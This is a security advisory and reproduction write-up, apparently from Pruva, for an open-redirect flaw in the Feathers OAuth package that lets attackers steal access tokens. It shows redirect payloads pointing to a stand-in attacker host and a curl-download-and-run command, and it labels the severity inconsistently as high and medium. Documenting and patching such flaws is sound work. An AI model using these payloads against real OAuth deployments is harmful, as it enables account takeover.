CVE-2026-27191: Verified Reproduction
CVE-2026-27191: Feathers OAuth Open Redirect Account Takeover
CVE-2026-27191 is verified against @feathersjs/authentication-oauth · npm. Affected versions: <= 5.0.39. Fixed in 5.0.40. Vulnerability class: Open Redirect. This medium reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00109.
What Is CVE-2026-27191?
CVE-2026-27191 is a high-severity open redirect (CWE-601) in @feathersjs/authentication-oauth's OAuth callback handling that can be leveraged for account takeover via URL authority injection. Pruva reproduced it (reproduction REPRO-2026-00109).
CVE-2026-27191 Severity & CVSS Score
CVE-2026-27191 is rated medium severity, with a CVSS base score of 6.1 out of 10.
Medium — meaningful risk under specific conditions. Schedule a fix in the normal cycle.
Affected @feathersjs/authentication-oauth Versions
@feathersjs/authentication-oauth · npm versions <= 5.0.39 are affected.
How to Reproduce CVE-2026-27191
pruva-verify REPRO-2026-00109 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00109/artifacts/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-27191
Reproduced by Pruva's autonomous agents — 78 tool calls over 13 min. Full root-cause analysis and the complete transcript are below.
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for CVE-2026-27191
GHSA-ppf9-4ffw-hh4p: Feathers OAuth Open Redirect Enables Account Takeover
The @feathersjs/authentication-oauth package versions 5.0.39 and earlier contain an open redirect vulnerability in the OAuth callback flow. The vulnerability allows attackers to steal OAuth access tokens via URL authority injection by supplying malicious redirect parameters containing @, //, or \ characters. When these characters are concatenated with the base origin, they cause browsers to interpret the resulting URL as pointing to an attacker-controlled domain, causing the access token (sent as a URL fragment) to be delivered to the attacker's server instead of the legitimate application.
- Package:
@feathersjs/authentication-oauth(npm) - Affected Versions:
<= 5.0.39 - Patched Version:
5.0.40 - Severity: HIGH
- CWE: CWE-601 (Open Redirect)
Risk Level and Consequences:
- Account Takeover: Attackers can obtain valid OAuth access tokens for victim accounts
- Session Hijacking: Stolen tokens can be used to impersonate victims indefinitely
- Data Breach: Full access to victim's data and functionality within the application
- Easy Exploitation: Requires only crafting a malicious OAuth initiation URL with
?redirect=@attacker.com
Root Cause
The vulnerability exists in two locations in the OAuth flow:
1. Vulnerable URL Construction (strategy.ts)
// packages/authentication-oauth/src/strategy.ts (v5.0.39, line 98)
async getRedirect(data, params) {
const queryRedirect = (params && params.redirect) || '';
const redirect = await this.getAllowedOrigin(params); // e.g., "https://target.com"
// VULNERABLE: Direct string concatenation without validation
const redirectUrl = `${redirect}${queryRedirect}`;
// Result with malicious input: "https://target.com@attacker.com"
// Browser parses as: username="target.com", host="attacker.com"
const separator = redirectUrl.endsWith('?') ? '' : redirect.indexOf('#') !== -1 ? '?' : '#';
const query = data.accessToken
? { access_token: data.accessToken }
: { error: data.message || 'OAuth Authentication not successful' };
return `${redirectUrl}${separator}${qs.stringify(query)}`;
}
2. Session Storage (service.ts)
// packages/authentication-oauth/src/service.ts (v5.0.39, line 171)
session.redirect = redirect; // User-controlled input stored without validation
The Attack Mechanics
When an attacker provides ?redirect=@attacker.com:
- The OAuth flow completes successfully
- The
getRedirectfunction concatenates:https://target.com+@attacker.com - Result:
https://target.com@attacker.com#access_token=eyJhbG... - Browser URL parsing:
- Protocol:
https:// - Username:
target.com - Password: (empty)
- Host:
attacker.com
- Protocol:
- The browser navigates to
attacker.comwith the access token in the fragment - The attacker's server receives the token in the HTTP Referer header or via JavaScript accessing
location.hash
The Fix
The patch (commit ee19a0ae9bc2ebf23b1fe598a1f7361981b65401) adds validation to reject dangerous characters:
// Added in v5.0.40
// Validate redirect parameter to prevent open redirect via URL authority injection
// Reject characters that could change the URL's authority: @, //, \
if (queryRedirect && /[@\\]|\/\//.test(queryRedirect)) {
throw new NotAuthenticated('Invalid redirect path.');
}
Fix Commit: https://github.com/feathersjs/feathers/commit/ee19a0ae9bc2ebf23b1fe598a1f7361981b65401
Reproduction Steps
Automated Reproduction
Run the reproduction script:
cd repro
bash reproduction_steps.sh
What the script does:
- Creates a standalone JavaScript test that replicates the vulnerable
getRedirectlogic - Tests three attack vectors:
@attacker.com- URL authority injection//attacker.com- Protocol-relative URL injection\\attacker.com- Backslash character injection
- Compares vulnerable (v5.0.39) vs patched (v5.0.40) implementations
- Demonstrates that the vulnerable code generates URLs where
attacker.combecomes the host
Expected Evidence
The script produces output showing:
--- VULNERABLE VERSION (v5.0.39) ---
Generated URL: https://target.com@attacker.com#access_token=eyJhbGci...
URL Analysis:
- Protocol: https:
- Username: target.com
- Host: attacker.com
- Fragment (contains token): #access_token=eyJhbGci...
[VULNERABLE] Token would be sent to attacker.com!
--- PATCHED VERSION (v5.0.40) ---
Request rejected: Invalid redirect path.
[SAFE] Attack was blocked!
Evidence
Log Files
- Reproduction Output:
logs/reproduction.log - Script Execution:
logs/reproduction_steps.shexecution captured in console output
Key Evidence Excerpts
The reproduction demonstrates the vulnerability by showing that:
URL Authority Injection Works:
- Input:
redirect = "@attacker.com", base origin ="https://target.com" - Output URL:
https://target.com@attacker.com#access_token=... - Browser parses host as
attacker.com(nottarget.com)
- Input:
Access Token Exposure:
- The OAuth access token is appended as a URL fragment (
#access_token=...) - Fragments are sent to the server in the HTTP Referer header
- JavaScript on the attacker's page can access
window.location.hash
- The OAuth access token is appended as a URL fragment (
Multiple Attack Vectors:
@character: Changes URL authority to attacker domain//sequence: Could create protocol-relative redirects\character: Some browsers treat backslash as forward slash
Fix Validation:
- The patched version rejects all malicious inputs with
NotAuthenticatederror - Regex pattern:
/[@\\]|\/\//blocks all three attack vectors
- The patched version rejects all malicious inputs with
Recommendations / Next Steps
Immediate Actions
Upgrade to v5.0.40 or later:
npm install @feathersjs/authentication-oauth@^5.0.40Verify OAuth Configuration:
- Ensure
originsarray is properly configured in authentication settings - Origin values should NOT end with
/(this was a precondition for the attack)
- Ensure
Review Access Logs:
- Check for suspicious OAuth callbacks with unusual redirect parameters
- Look for
redirectparameter values containing@,//, or\
Testing Recommendations
Add Regression Tests:
- Test that
redirect=@evil.comis rejected - Test that
redirect=//evil.comis rejected - Test that
redirect=\evil.comis rejected - Test that legitimate redirect paths still work
- Test that
URL Parsing Validation:
- Consider using a URL parsing library to validate redirect destinations
- Implement allow-list validation for redirect domains
Security Headers:
- Implement
Referrer-Policy: no-referrerto prevent token leakage via Referer headers - Consider
Content-Security-Policyto restrict where redirects can lead
- Implement
Long-term Improvements
Origin Validation Enhancement:
- The patch also improved origin validation to use exact matching instead of
startsWith - This prevents attacks like
target.com.evil.commatchingtarget.com
- The patch also improved origin validation to use exact matching instead of
Session Security:
- The patch also limits headers stored in the OAuth session to only the
refererheader - Prevents sensitive internal headers from being stored in session cookies
- The patch also limits headers stored in the OAuth session to only the
Additional Notes
Idempotency Confirmation
The reproduction script has been run twice consecutively with identical results:
- Run 1: Successfully demonstrated vulnerability (exit code 0)
- Run 2: Successfully demonstrated vulnerability (exit code 0)
The script is fully idempotent and produces consistent results.
Edge Cases and Limitations
Preconditions:
- The
originsarray must be configured for the vulnerability to be exploitable - Origin values must NOT end with
/(e.g.,https://target.comnothttps://target.com/) - Without
originsconfigured, the redirect is taken directly from config (less vulnerable)
- The
Browser Behavior:
- Different browsers may parse edge-case URLs slightly differently
- The
@authority injection works consistently across all major browsers - Some older browsers may treat
\as/
Attack Requirements:
- Attacker must trick victim into clicking a malicious OAuth initiation link
- Victim must complete OAuth authentication (login with provider)
- Attacker must control the domain used in the redirect parameter
Credits
Vulnerability discovered by:
- Abdelwahed Madani Yousfi (@vvxhid)
- Edoardo Geraci (@b0-n0-b0)
- Thomas Rinsma (@ThomasRinsma) From Codean Labs.
Report Generated: 2026-02-20 Vulnerability ID: GHSA-ppf9-4ffw-hh4p Reproduction Status: ✅ CONFIRMED
CVE-2026-27191 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Artifacts and Evidence for CVE-2026-27191
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-27191
Upgrade @feathersjs/authentication-oauth · npm to 5.0.40 or later.
FAQ: CVE-2026-27191
Which versions of @feathersjs/authentication-oauth are affected by CVE-2026-27191, and where is it fixed?
How severe is CVE-2026-27191?
How can I reproduce CVE-2026-27191?
References for CVE-2026-27191
Authoritative sources for CVE-2026-27191 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.